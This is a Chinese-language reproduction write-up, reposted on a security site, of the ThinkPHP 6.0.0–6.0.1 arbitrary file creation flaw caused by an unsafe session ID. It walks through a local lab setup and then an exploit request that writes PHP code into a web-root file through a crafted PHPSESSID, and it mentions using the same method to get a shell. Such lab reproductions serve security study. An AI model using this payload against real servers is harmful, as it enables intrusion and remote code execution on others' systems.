Thinkphp 6.x任意文件创建漏洞复现

admin 2024年12月17日13:34:36评论5 views字数 1418阅读4分43秒阅读模式

参考链接:https://my.oschina.net/u/4593034/blog/4418757 

简介

ThinkPHP框架是MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。该漏洞源于ThinkPHP 6.0的某个逻辑漏洞,成功利用此漏洞的攻击者可以实现任意文件创建,在特殊场景下可能会导致GetShell

漏洞简介

2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。

影响版本

ThinkPHP 6.0.0-6.0.1

漏洞复现

一、环境搭建:

1、安装Composer

下载Composer-Setup.exe

https://getcomposer.org/download/

Thinkphp 6.x任意文件创建漏洞复现

安装路径选择php.exe所在的路径:

Thinkphp 6.x任意文件创建漏洞复现

注意:

1,把php.iniextension_dir路径设置为绝对路径:

  extension_dir="C:phpstudy_proExtensionsphpphp7.3.4ntsext"

2,出错的话,把xdebug注释掉

安装完毕截图:

Thinkphp 6.x任意文件创建漏洞复现 

执行以下命令,可以换国内镜像

composer config -g repo.packagist composerhttps://packagist.phpcomposer.com

2、安装thinkphp

composer create-project topthink/think tp6

Thinkphp 6.x任意文件创建漏洞复现

注:

假如出现错误

[InvalidArgumentException]   Could not find package topthink/think withstability stable.

解决方法删除之前的镜像

composer config -g --unset repos.packagist

3,修改配置

将 tp6/composer.json 文件的 "topthink/framework": "^6.0.0" 改成 6.0.0 版本,

Thinkphp 6.x任意文件创建漏洞复现

执行更新命令

cd tp6   //进入tp6目录composer update

Thinkphp 6.x任意文件创建漏洞复现

二、漏洞利用

首先,需要得到一个可控session参数名,这里是在本地构造的,实战需要自己fuzz。

构造位置:tp6appcontrollerIndex.php

增加构造的内容:

use thinkfacadeSession;
Session::set('user',$_GET['username']);

如下图所示:

Thinkphp 6.x任意文件创建漏洞复现

开启session且写入的session可控

在/tp6/app/middleware.php 文件开启session去掉注释session的//

如下图所示:

Thinkphp 6.x任意文件创建漏洞复现

构造请求:

使用Burp抓取首页的包构造payload:username就是我们刚才构造的接受参数,然后将PHPSESSID的值修改为32位的保存路径

http://127.0.0.1/tp6/public/index.php/index?username=<?php%20phpinfo();?>

Thinkphp 6.x任意文件创建漏洞复现

创建的文件:

http://127.0.0.1/tp6/public/1qwedwsc1.php

Thinkphp 6.x任意文件创建漏洞复现

同理:

可以利用该漏洞getshell:

Thinkphp 6.x任意文件创建漏洞复现

Thinkphp 6.x任意文件创建漏洞复现

原文始发于微信公众号(Oriental rose):Thinkphp 6.x任意文件创建漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月17日13:34:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Thinkphp 6.x任意文件创建漏洞复现https://cn-sec.com/archives/945851.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息